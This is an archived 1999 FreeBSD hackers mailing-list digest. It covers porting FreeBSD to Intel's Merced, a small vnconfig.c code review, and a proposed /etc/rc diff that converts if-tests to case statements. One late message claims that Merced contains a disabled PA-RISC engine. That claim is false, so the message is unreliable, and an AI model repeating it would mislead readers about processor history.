Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As Kenny Drobnack wrote ... > Lately i have seen a lot of speculation as to what will happen when the > Intel Merced comes out. Will people wait 12-18 months for a 64 bit > Windows (that's the amount of time I keep hearing it will take them to get > Win2000 running on it) or will they just buy it and pop Linux onto it > right away? If the majority of the people opt for option #2, it may mean > Linux will finally get a huge edge over M$! > While Linux is a great OS, and I like seeing M$ have some > problems, I would even more like to have the assurance of being able to > run FreeBSD on 64 bit architecture. Is there any port planned to that FreeBSD already runs on Alpha, which is very 64 bit. So, there is both experience and code I'd say. -- | / o / / _ Arnhem, The Netherlands - Powered by FreeBSD - |/|/ / / /( (_) Bulte WWW : http://www.tcja.nl http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 3:46:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dorifer.heim3.tu-clausthal.de (dorifer.heim3.tu-clausthal.de [139.174.243.252]) by hub.freebsd.org (Postfix) with ESMTP id 0FB0814DA9 for ; Fri, 27 Aug 1999 03:45:43 -0700 (PDT) (envelope-from olli@dorifer.heim3.tu-clausthal.de) Received: (from olli@localhost) by dorifer.heim3.tu-clausthal.de (8.8.8/8.8.8) id MAA02599 for freebsd-hackers@FreeBSD.ORG; Fri, 27 Aug 1999 12:43:43 +0200 (CEST) (envelope-from olli) Date: Fri, 27 Aug 1999 12:43:43 +0200 (CEST) From: Oliver Fromme Message-Id: <199908271043.MAA02599@dorifer.heim3.tu-clausthal.de> To: freebsd-hackers@FreeBSD.ORG Subject: Re: Request for review: vnconfig.c Organization: Administration Heim 3 Reply-To: freebsd-hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Newsreader: TIN [version 1.2 RZTUC(3) PL2] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ben Smithurst wrote in list.freebsd-hackers: > Mark J. Taylor wrote: > > + dev = malloc(strlen(vnp->dev)+6); > > + (void)sprintf(dev, "/dev/%s", vnp->dev); > > You should be checking that malloc() doesn't return NULL, before trying > to write into the allocated space. I'd suggest to use asprintf(). Regards Oliver -- Oliver Fromme, Leibnizstr. 18/61, 38678 Clausthal, Germany (Info: finger userinfo:olli@dorifer.heim3.tu-clausthal.de) "In jedem Stück Kohle wartet ein Diamant auf seine Geburt" (Terry Pratchett) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 3:52:45 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dorifer.heim3.tu-clausthal.de (dorifer.heim3.tu-clausthal.de [139.174.243.252]) by hub.freebsd.org (Postfix) with ESMTP id 2735114DA9 for ; Fri, 27 Aug 1999 03:52:38 -0700 (PDT) (envelope-from olli@dorifer.heim3.tu-clausthal.de) Received: (from olli@localhost) by dorifer.heim3.tu-clausthal.de (8.8.8/8.8.8) id MAA02639 for freebsd-hackers@FreeBSD.ORG; Fri, 27 Aug 1999 12:52:37 +0200 (CEST) (envelope-from olli) Date: Fri, 27 Aug 1999 12:52:37 +0200 (CEST) From: Oliver Fromme Message-Id: <199908271052.MAA02639@dorifer.heim3.tu-clausthal.de> To: freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes Organization: Administration Heim 3 Reply-To: freebsd-hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Newsreader: TIN [version 1.2 RZTUC(3) PL2] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug wrote in list.freebsd-hackers: > [...] > 2. value ) instead of value) for case statements > [...] > case $? in > - 0) > + 0 ) > ;; > - 2) > + 2 ) > exit 1 > ;; > - 4) > + 4 ) > reboot > echo "reboot failed... help!" > exit 1 > ;; > [...] Why?!? I like the existing "case" style _much_ better, it's more readable and emphasizes the structure. Regards Oliver -- Oliver Fromme, Leibnizstr. 18/61, 38678 Clausthal, Germany (Info: finger userinfo:olli@dorifer.heim3.tu-clausthal.de) "In jedem Stück Kohle wartet ein Diamant auf seine Geburt" (Terry Pratchett) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 4: 4:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by hub.freebsd.org (Postfix) with ESMTP id 0D23F14BD8 for ; Fri, 27 Aug 1999 04:04:22 -0700 (PDT) (envelope-from chris@holly.dyndns.org) Received: from holly.dyndns.org (adsl-216-62-157-60.dsl.hstntx.swbell.net) by mta4.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.1999.05.24.18.28.p7) with ESMTP id <0FH400HYXEH64P@mta4.rcsntx.swbell.net> for freebsd-hackers@FreeBSD.ORG; Fri, 27 Aug 1999 05:58:19 -0500 (CDT) Received: (from chris@localhost) by holly.dyndns.org (8.9.3/8.9.3) id GAA25172 for freebsd-hackers@FreeBSD.ORG; Fri, 27 Aug 1999 06:00:16 -0500 (CDT envelope-from chris) Date: Fri, 27 Aug 1999 06:00:16 -0500 From: Chris Costello Subject: Re: Please review: rc file changes In-reply-to: <199908271052.MAA02639@dorifer.heim3.tu-clausthal.de> To: freebsd-hackers@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <19990827060015.H18715@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: <199908271052.MAA02639@dorifer.heim3.tu-clausthal.de> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Aug 27, 1999, Oliver Fromme wrote: > Why?!? I like the existing "case" style _much_ better, > it's more readable and emphasizes the structure. I agree 100%. > Regards > Oliver -- |Chris Costello |A computer scientist is someone who fixes things that aren't broken. `-------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 4:14:58 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7]) by hub.freebsd.org (Postfix) with ESMTP id C19A215225 for ; Fri, 27 Aug 1999 04:14:38 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 6E1441C1F; Fri, 27 Aug 1999 19:14:36 +0800 (WST) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.0.2 2/24/98 To: Doug Cc: freebsd-hackers@freebsd.org Subject: Re: Please review: rc file changes In-reply-to: Your message of "Thu, 26 Aug 1999 23:30:44 MST." <37C63094.8350A91B@gorean.org> Date: Fri, 27 Aug 1999 19:14:36 +0800 From: Peter Wemm Message-Id: <19990827111436.6E1441C1F@overcee.netplex.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug wrote: If looking at the before and after seperately, the indentation of the case statements is IMHO bizzare and unlike anything I've seen before... eg: Changing this: > if [ "$1" = "autoboot" ]; then > echo Automatic reboot in progress... > fsck -p > case $? in > 0) > ;; > 2) > exit 1 > ;; > 4) > reboot > echo "reboot failed... help!" > exit 1 > ;; > 8) > echo "Automatic file system check failed... help!" > exit 1 > ;; > 12) > echo "Reboot interrupted" > exit 1 > ;; > 130) > # interrupt before catcher installed > exit 1 > ;; > *) > echo "Unknown error in reboot" > exit 1 > ;; > esac > else > echo Skipping disk checks ... > fi To this: > case $1 in > autoboot ) > echo Automatic reboot in progress... > fsck -p > case $? in > 0 ) > ;; > 2 ) > exit 1 > ;; > 4 ) > reboot > echo "reboot failed... help!" > exit 1 > ;; > 8 ) > echo "Automatic file system check failed... help!" > exit 1 > ;; > 12 ) > echo "Reboot interrupted" > exit 1 > ;; > 130 ) > # interrupt before catcher installed > exit 1 > ;; > * ) > echo "Unknown error in reboot" > exit 1 > ;; > esac > ;; > * ) > echo Skipping disk checks ... > ;; > esac In particular, the "value)" and the hiding of the values in with the body. I presume the negative indent at the end is a typo... Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 5:12:22 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id C262C15E5C for ; Fri, 27 Aug 1999 05:12:06 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11KKrB-000EvZ-00; Fri, 27 Aug 1999 14:11:45 +0200 From: Sheldon Hearn To: Garance A Drosihn Cc: hackers@freebsd.org Subject: Re: REQ: Help with apparently impossible error in Makefile.inc1 In-reply-to: Your message of "Fri, 27 Aug 1999 08:06:29 -0400." Date: Fri, 27 Aug 1999 14:11:45 +0200 Message-ID: <57384.935755905@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999 08:06:29 -0400, Garance A Drosihn wrote: > Each line that 'make' executes is executed in it's own environment, Forgive me father, I am but a worm. *lick* Thanks, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 5:30: 7 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp2.vnet.net (smtp2.vnet.net [166.82.1.32]) by hub.freebsd.org (Postfix) with ESMTP id E8C63151CF; Fri, 27 Aug 1999 05:30:01 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from dignus.com (ponds.vnet.net [166.82.177.48]) by smtp2.vnet.net (8.9.1a/8.9.1) with ESMTP id IAA20572; Fri, 27 Aug 1999 08:29:58 -0400 (EDT) Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3]) by dignus.com (8.9.2/8.8.5) with ESMTP id IAA28113; Fri, 27 Aug 1999 08:29:57 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.9.2/8.6.9) id IAA35280; Fri, 27 Aug 1999 08:29:56 -0400 (EDT) Date: Fri, 27 Aug 1999 08:29:56 -0400 (EDT) From: Thomas David Rivers Message-Id: <199908271229.IAA35280@lakes.dignus.com> To: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG, kdrobnac@mission.mvnc.edu Subject: Re: Intel Merced FreeBSD??? In-Reply-To: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Kenny Drobnack > Lately i have seen a lot of speculation as to what will happen when the > Intel Merced comes out. Will people wait 12-18 months for a 64 bit > Windows (that's the amount of time I keep hearing it will take them to get > Win2000 running on it) or will they just buy it and pop Linux onto it > right away? If the majority of the people opt for option #2, it may mean > Linux will finally get a huge edge over M$! > While Linux is a great OS, and I like seeing M$ have some > problems, I would even more like to have the assurance of being able to > run FreeBSD on 64 bit architecture. Is there any port planned to that > system? Has anyone even mention it? Also, will the lib/compat end up > having a linux32 and a linux64 directory so it can run both old Linux apps > and new? First - let me point out that FreeBSD already runs on the Alpha, so there's some 64-bit experience. Second - SCO and HP will be rolling out their UNIX variants with the Merced release. Perhaps some people will buy a Merced for that reason. But - for "Intel to hit it big" - they need Merced to become the next consumer architecture. Since they are continuing with plans for the IA32 line (what x86 got renamed to with the advent of IA64, nee' merced) they are hedging their bets. I don't believe they are convinced themselves that Merced will be the answer to their dreams... Also, recall that Intel launched Merced development when the idea was "bigger/faster is better." Last year's sudden reversal of that idea (i.e. Celeron as the answer to the AMD challenge) meant that bigger was better is not (at this moment) the right answer. Intel's requisite shift to lower-priced offerings likely was a contributing cause to all of the Merced slips. So - what Intel is facing is a chicken-and-egg problem. They need to sell a lot of these things, but will need Windows to do that. Microsoft won't bother with a Windows port until there is a significant market need for it (I point to the abandoned PPC and Alpha Windows ports as examples.) Microsoft needs a "business quality" version of Windows, which it claims is Windows/2000. That version of Windows could benefit from a 64-bit port, if for marketing only; but I don't think it would result in the volume of sales Intel is looking for. And - let me add - Intel has been down this path before (the i860) - and didn't see the success it wanted (although the i860 is popping up in some interesting places now...) I suppose what this "rant" is all about is that I'm not convinced Merced is the "chip of the future" that we all need to be worried about. I'm taking a "wait-and-see" attitude. [Also, since Microsoft has been working closely with Intel regarding Merced for several years now, and has yet to do anything `serious' - I believe they are taking the same "wait-and-see" approach. Likely while telling Intel otherwise.] That doesn't mean I think we shouldn't have a FreeBSD port; I would considering buying a Merced box if there was one (although, I don't have an Alpha box, so maybe it would never get past "consider".) - Dave Rivers - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 5:35:24 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 48F1B15F26 for ; Fri, 27 Aug 1999 05:35:00 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11KLCJ-000F08-00; Fri, 27 Aug 1999 14:33:35 +0200 From: Sheldon Hearn To: Doug Cc: freebsd-hackers@freebsd.org Subject: Re: Please review: rc file changes Date: Fri, 27 Aug 1999 14:33:35 +0200 Message-ID: <57667.935757215@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi folks, What follows is a diff that presents Doug's changes (which must have required quite a bit of effort, thanks!) in a slightly different format which I think the grumpies here might prefer. Specifically, case statements look more like what a lot of folks are used to seeing, and conditionals that don't need to be case sensitive have not been converted to case statements. I think the effort which Doug has put into this is great and would make for a better rc. It's a pity that a few cosmetic issues generated so much pooh-pooh'ing. :-( Ciao, Sheldon. Index: rc =================================================================== RCS file: /home/ncvs/src/etc/rc,v retrieving revision 1.194 diff -u -d -r1.194 rc --- rc 1999/08/25 16:01:33 1.194 +++ rc 1999/08/27 12:26:46 @@ -8,24 +8,25 @@ # and the console is the controlling terminal. # Note that almost all the user-configurable behavior is no longer in -# this file, but rather in /etc/defaults/rc.conf. Please check this file +# this file, but rather in /etc/defaults/rc.conf. Please check that file # first before contemplating any changes here. stty status '^T' # Set shell to ignore SIGINT (2), but not children; # shell catches SIGQUIT (3) and returns to single user after fsck. +# trap : 2 trap : 3 # shouldn't be needed -HOME=/; export HOME +HOME=/ PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin -export PATH +export HOME PATH # BOOTP diskless boot. We have to run the rc file early in order to # retarget various config files. # -if [ -f /etc/rc.diskless1 ]; then +if [ -r /etc/rc.diskless1 ]; then dlv=`/sbin/sysctl -n vfs.nfs.diskless_valid 2> /dev/null` if [ ${dlv:=0} != 0 ]; then . /etc/rc.diskless1 @@ -34,22 +35,28 @@ # If there is a global system configuration file, suck it in. # -if [ -f /etc/defaults/rc.conf ]; then +if [ -r /etc/defaults/rc.conf ]; then . /etc/defaults/rc.conf -elif [ -f /etc/rc.conf ]; then +elif [ -r /etc/rc.conf ]; then . /etc/rc.conf fi # Configure ccd devices. -if [ -f /etc/ccd.conf ]; then +# +if [ -r /etc/ccd.conf ]; then ccdconfig -C fi -if [ "${start_vinum}" = "YES" ]; then +case ${start_vinum} in +[Yy][Ee][Ss]) vinum start -elif [ -n "${vinum_drives}" ]; then - vinum read ${vinum_drives} -fi + ;; +*) + if [ -n "${vinum_drives}" ]; then + vinum read ${vinum_drives} + fi + ;; +esac swapon -a @@ -94,35 +101,39 @@ # root normally must be read/write, but if this is a BOOTP NFS # diskless boot it does not have to be. # - -if [ "${root_rw_mount}" != "NO" ]; then +case ${root_rw_mount} in +[Nn][Oo]) + ;; +*) mount -u -o rw / -fi + ;; +esac if [ $? != 0 ]; then echo "Filesystem mount failed, startup aborted" + echo "Mounting root filesystem rw failed, startup aborted" exit 1 fi umount -a >/dev/null 2>&1 -if [ "${early_nfs_mounts}" != "YES" ]; then - mount -a -t nonfs -else +case ${early_nfs_mounts} in +[Yy][Ee][Ss]) mount -a -fi + ;; +*) + mount -a -t nonfs + ;; +esac if [ $? != 0 ]; then - echo "Filesystem mount failed, startup aborted" + echo "Mounting /etc/fstab filesystems failed, startup aborted" exit 1 fi # Run custom disk mounting function here # - -if [ -n "${diskless_mount}" ]; then - if [ -f "${diskless_mount}" ]; then - sh ${diskless_mount} - fi +if [ -n "${diskless_mount}" -a -r "${diskless_mount}" ]; then + sh ${diskless_mount} fi adjkerntz -i @@ -148,46 +159,64 @@ fi # Add additional swapfile, if configured. -if [ "${swapfile}" != "NO" -a -w "${swapfile}" -a -b /dev/vn0b ]; then - echo "Adding ${swapfile} as additional swap." - vnconfig /dev/vn0b ${swapfile} && swapon /dev/vn0b -fi +# +case ${swapfile} in +[Nn][Oo]) + ;; +*) + if [ -w "${swapfile}" -a -b /dev/vn0b ]; then + echo "Adding ${swapfile} as additional swap." + vnconfig /dev/vn0b ${swapfile} && swapon /dev/vn0b + fi + ;; +esac -# set sysctl variables early as we can -if [ -f /etc/rc.sysctl ]; then +# Set sysctl variables as early as we can +# +if [ -r /etc/rc.sysctl ]; then . /etc/rc.sysctl fi -# configure serial devices -if [ -f /etc/rc.serial ]; then +# Configure serial devices +# +if [ -r /etc/rc.serial ]; then . /etc/rc.serial fi -# start up PC-card configuration -if [ -f /etc/rc.pccard ]; then +# Start up PC-card configuration +# +if [ -r /etc/rc.pccard ]; then . /etc/rc.pccard fi -# start up the initial network configuration. -if [ -f /etc/rc.network ]; then +# Start up the initial network configuration. +# +if [ -r /etc/rc.network ]; then . /etc/rc.network # We only need to do this once. network_pass1 fi -echo -n "Mounting NFS file systems" -mount -a -t nfs -echo . +case ${early_nfs_mounts} in +[Yy][Ee][Ss]) + ;; +*) + echo -n "Mounting NFS file systems" + mount -a -t nfs + echo . + ;; +esac # Whack the pty perms back into shape. +# chflags 0 /dev/tty[pqrsPQRS]* chmod 666 /dev/tty[pqrsPQRS]* chown root:wheel /dev/tty[pqrsPQRS]* -# clean up left-over files +# Clean up left-over files +# clean_var # If it hasn't already been done rm /var/run/clean_var -# # Clearing /tmp at boot-time seems to have a long tradition. It doesn't # help in any way for long-living systems, and it might accidentally # clobber files you would rather like to have preserved after a crash @@ -195,100 +224,122 @@ # # See also the example of another cleanup policy in /etc/periodic/daily. # -if [ "${clear_tmp_enable}" = "YES" ]; then +case ${clear_tmp_enable} in +[Yy][Ee][Ss]) echo clearing /tmp - # prune quickly with one rm, then use find to clean up /tmp/[lq]* + # One quick rm, then use find to clean up /tmp/[lq]* # (not needed with mfs /tmp, but doesn't hurt there...) (cd /tmp && rm -rf [a-km-pr-zA-Z]* && find -d . ! -name . ! -name lost+found ! -name quota.user \ ! -name quota.group -exec rm -rf -- {} \;) - -fi + ;; +esac -# Remove X lock files, since they will prevent you from restarting X11 +# Remove X lock files, since they will prevent you from restarting X11 # after a system crash. +# rm -f /tmp/.X*-lock /tmp/.X11-unix/* # snapshot any kernel -c changes back to disk here # this has changed with ELF and /kernel.config. echo -n 'additional daemons:' -# start system logging and name service (named needs to start before syslogd -# if you don't have a /etc/resolv.conf) + +# Start system logging service (named needs to have started from rc.network +# already if you don't have a /etc/resolv.conf) # -if [ "${syslogd_enable}" = "YES" ]; then - # Transitional symlink (for the next couple of years :) until all - # binaries had a chance to move towards /var/run/log. +case ${syslogd_enable} in +[Yy][Ee][Ss] ) + # Transitional symlink (for the next couple of years :) until + # all binaries have had a chance to move towards /var/run/log. if [ ! -h /dev/log ] ; then # might complain for r/o root f/s ln -sf /var/run/log /dev/log fi rm -f /var/run/log - echo -n ' syslogd'; syslogd ${syslogd_flags} -fi + echo -n ' syslogd'; syslogd ${syslogd_flags} + ;; +esac + echo '.' -# enable dumpdev so that savecore can see it +# Enable dumpdev so that savecore can see it # /var/crash should be a directory or a symbolic link # to the crash directory if core dumps are to be saved. -if [ "${dumpdev}" != "NO" -a -e ${dumpdev} -a -d /var/crash ]; then - dumpon ${dumpdev} - echo -n checking for core dump... - savecore /var/crash -fi +# +case ${dumpdev} in +[Nn][Oo]) + ;; +*) + if [ -e ${dumpdev} -a -d /var/crash ]; then + dumpon ${dumpdev} + echo -n checking for core dump... + savecore /var/crash + fi + ;; +esac if [ -n "${network_pass1_done}" ]; then network_pass2 fi # Enable/Check the quotas (must be after ypbind if using NIS) -if [ "${enable_quotas}" = "YES" ]; then - - # Only check quotas if they have been previously enabled, and requested - if [ "${check_quotas}" = "YES" ]; then - echo -n 'checking quotas:' - quotacheck -a - echo ' done.' - fi +# +case ${enable_quotas} in +[Yy][Ee][Ss]) + case ${check_quotas} in + [Yy][Ee][Ss] ) + echo -n 'checking quotas:' + quotacheck -a + echo ' done.' + ;; + esac echo -n 'enabling quotas:' quotaon -a echo ' done.' -fi + ;; +esac if [ -n "${network_pass2_done}" ]; then network_pass3 fi -# build ps databases -kvm_mkdb +# Build ps databases +# +kvm_mkdb dev_mkdb -# check the password temp/lock file -if [ -f /etc/ptmp ] -then +# Check the password temp/lock file +# +if [ -e /etc/ptmp ]; then logger -s -p auth.err \ "password file may be incorrect -- /etc/ptmp exists" fi -if [ "${accounting_enable}" = "YES" -a -d /var/account ]; then - echo 'turning on accounting' - if [ ! -e /var/account/acct ]; then - touch /var/account/acct +case ${accounting_enable} in +[Yy][Ee][Ss]) + if [ -d /var/account ]; then + echo 'turning on accounting' + if [ ! -e /var/account/acct ]; then + touch /var/account/acct + fi + accton /var/account/acct fi - accton /var/account/acct -fi + ;; +esac # Make shared lib searching a little faster. Leave /usr/lib first if you # add your own entries or you may come to grief. +# if [ -x /sbin/ldconfig ]; then if [ "`/usr/bin/objformat`" = "elf" ]; then _LDC=/usr/lib for i in ${ldconfig_paths}; do - if test -d ${i}; then + if [ -d ${i} ]; then _LDC="${_LDC} ${i}" fi done @@ -302,7 +353,7 @@ : ${ldconfig_paths_aout=${ldconfig_paths}} _LDC=/usr/lib/aout for i in ${ldconfig_paths_aout}; do - if test -d ${i}; then + if [ -d ${i} ]; then _LDC="${_LDC} ${i}" fi done @@ -314,47 +365,65 @@ # Now start up miscellaneous daemons that don't belong anywhere else # echo -n starting standard daemons: -if [ "${inetd_enable}" != "NO" ]; then +case ${inetd_enable} in +[Nn][Oo]) + ;; +*) echo -n ' inetd'; inetd ${inetd_flags} -fi + ;; +esac -if [ "${cron_enable}" != "NO" ]; then +case ${cron_enable} in +[Nn][Oo]) + ;; +*) echo -n ' cron'; cron -fi + ;; +esac -if [ "${lpd_enable}" = "YES" ]; then - echo -n ' printer'; ${lpd_program} ${lpd_flags} -fi +case ${lpd_enable} in +[Yy][Ee][Ss]) + echo -n ' printer'; ${lpd_program} ${lpd_flags} + ;; +esac -if [ "${sendmail_enable}" = "YES" -a -r /etc/sendmail.cf ]; then - echo -n ' sendmail'; /usr/sbin/sendmail ${sendmail_flags} -fi +case ${sendmail_enable} in +[Yy][Ee][Ss]) + if [ -r /etc/sendmail.cf ]; then + echo -n ' sendmail'; /usr/sbin/sendmail ${sendmail_flags} + fi + ;; +esac -if [ "${usbd_enable}" = "YES" ]; then +case ${usbd_enable} in +[Yy][Ee][Ss]) echo -n ' usbd'; /usr/sbin/usbd ${usbd_flags} -fi + ;; +esac echo '.' -# configure implementation specific stuff +# Configure implementation specific stuff +# arch=`uname -m` -if [ -f /etc/rc.${arch} ]; then +if [ -r /etc/rc.${arch} ]; then . /etc/rc.${arch} fi # Recover vi editor files. +# vibackup=`echo /var/tmp/vi.recover/vi.*` if [ "${vibackup}" != '/var/tmp/vi.recover/vi.*' ]; then echo 'Recovering vi editor sessions' for i in ${vibackup}; do # Only test files that are readable. - if test ! -r ${i}; then + if [ ! -r ${i} ]; then continue fi # Unmodified nvi editor backup files either have the # execute bit set or are zero length. Delete them. - if test -x ${i} -o ! -s ${i}; then + if [ -x ${i} -o ! -s ${i} ]; then rm -f ${i} fi done @@ -365,7 +434,7 @@ if [ "${virecovery}" != "/var/tmp/vi.recover/recover.*" ]; then for i in ${virecovery}; do # Only test files that are readable. - if test ! -r ${i}; then + if [ ! -r ${i} ]; then continue fi @@ -373,7 +442,7 @@ # corrupted, or that have no corresponding backup file. # Else send mail to the user. recfile=`awk '/^X-vi-recover-path:/{print $2}' < ${i}` - if test -n "${recfile}" -a -s "${recfile}"; then + if [ -n "${recfile}" -a -s "${recfile}" ]; then sendmail -t < ${i} else rm -f ${i} @@ -382,26 +451,40 @@ fi fi -# make a bounds file for msgs(1) if there isn't one already +# Make a bounds file for msgs(1) if there isn't one already +# "Delete important files with symlink" security hole? +# if [ ! -f /var/msgs/bounds ]; then echo 0 > /var/msgs/bounds fi -# for each valid dir in $local_startup, search for init scripts matching *.sh -if [ "${local_startup}" != "NO" ]; then +# For each valid dir in $local_startup, search for init scripts matching *.sh +# +case ${local_startup} in +[Nn][Oo]) + ;; +*) echo -n 'Local package initialization:' for dir in ${local_startup}; do - [ -d ${dir} ] && for script in ${dir}/*.sh; do - [ -x ${script} ] && \ - (set -T ; trap 'exit 1' 2 ; ${script} start) - done + if [ -d ${dir} ]; then + for script in ${dir}/*.sh; do + if [ -x ${script} ]; then + (set -T ; trap 'exit 1' 2 ; \ + ${script} start) + fi + done + fi done echo . -fi + ;; +esac -if [ "${update_motd}" != "NO" ]; then +case ${update_motd} in +[Nn][Oo]) + ;; +*) T=`mktemp /tmp/_motd.XXXXXX` - if [ $? -eq 0 ]; then + if [ $? = 0 ]; then uname -v | sed -e 's,^\([^#]*\) #\(.* [1-2][0-9][0-9][0-9]\).*/\([^\]*\) $,\1 (\3) #\2,' > ${T} awk '{if (NR == 1) {if ($1 == "FreeBSD") {next} else {print "\n"$0}} else {print}}' < /etc/motd >> ${T} cmp -s ${T} /etc/motd || { @@ -410,10 +493,14 @@ } rm -f ${T} fi -fi + ;; +esac -# Run rc.devfs if present to customize devfs -[ -f /etc/rc.devfs ] && sh /etc/rc.devfs +# Run rc.devfs if readable to customize devfs +# +if [ -r /etc/rc.devfs ]; then + sh /etc/rc.devfs +fi # Do traditional (but rather obsolete) rc.local file if it exists. If you # use this file and want to make it programmatic, source /etc/defaults/rc.conf @@ -422,14 +509,14 @@ # Use /etc/rc.local # # ---- rc.local ---- -# if [ -f /etc/defaults/rc.conf ]; then +# if [ -r /etc/defaults/rc.conf ]; then # . /etc/defaults/rc.conf # fi -# +# # ... additional startup conditionals ... -# ---- rc.local ---- -# -if [ -f /etc/rc.local ]; then +# ---- rc.local ---- +# +if [ -r /etc/rc.local ]; then echo -n 'starting local daemons:' sh /etc/rc.local echo '.' @@ -437,11 +524,15 @@ # Raise kernel security level. This should be done only after `fsck' has # repaired local file systems if you want the securelevel to be greater than 1. -if [ "${kern_securelevel_enable}" = "YES" -a "${kern_securelevel}" -ge 0 ]; -then - echo 'Raising kernel security level' - sysctl -w kern.securelevel=${kern_securelevel} -fi +# +case ${kern_securelevel_enable} in +[Yy][Ee][Ss]) + if [ "${kern_securelevel}" -ge 0 ]; then + echo 'Raising kernel security level' + sysctl -w kern.securelevel=${kern_securelevel} + fi + ;; +esac date exit 0 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 5:51:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gatekeeper.tseinc.com (gatekeeper.tseinc.com [209.83.134.9]) by hub.freebsd.org (Postfix) with ESMTP id A0F7814DAE; Fri, 27 Aug 1999 05:51:19 -0700 (PDT) (envelope-from jlwest@tseinc.com) Received: (from nobody@localhost) by gatekeeper.tseinc.com (8.8.8/8.8.8) id HAA25736; Fri, 27 Aug 1999 07:49:47 -0500 (CDT) (envelope-from jlwest@tseinc.com) X-Authentication-Warning: gatekeeper.tseinc.com: nobody set sender to using -f Received: from ws2.tse.com(192.168.2.212) by gatekeeper.tseinc.com via smap (V2.1) id xma025734; Fri, 27 Aug 99 07:49:41 -0500 Message-ID: <000e01bef08b$3d606340$d402a8c0@ws2.tse.com> From: "Jay West" To: , Subject: Re: Intel Merced FreeBSD??? Intel? - NOT Date: Fri, 27 Aug 1999 07:54:02 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It was written.... > Also, recall that Intel > launched Merced development when the idea was "bigger/faster > is better Keep in mind that the merced chip was not really designed or created by Intel at all. It was created almost completely by HP (by the same group responsible for PA-RISC), with Intel as merely the production facilities. For obvious marketing, competitive, and resource reasons both HP and Intel share the rights to merced. As a matter of fact, the standard version of merced includes the PA-RISC engine along with an x86 instruction decoder. The original (possibly still) plan was that the consumer merced versions would have the PA-RISC section lobotomized (remember 486DX vs. SX? nothing was missing on the chip, it was just disabled) and only the HP shipped ones would have PA-RISC turned on. This is is why the merced chips would be able to run either HP-UX or WindowsNT in HP's 9000 series stuff. Jay To Unsubscribe: send mail to 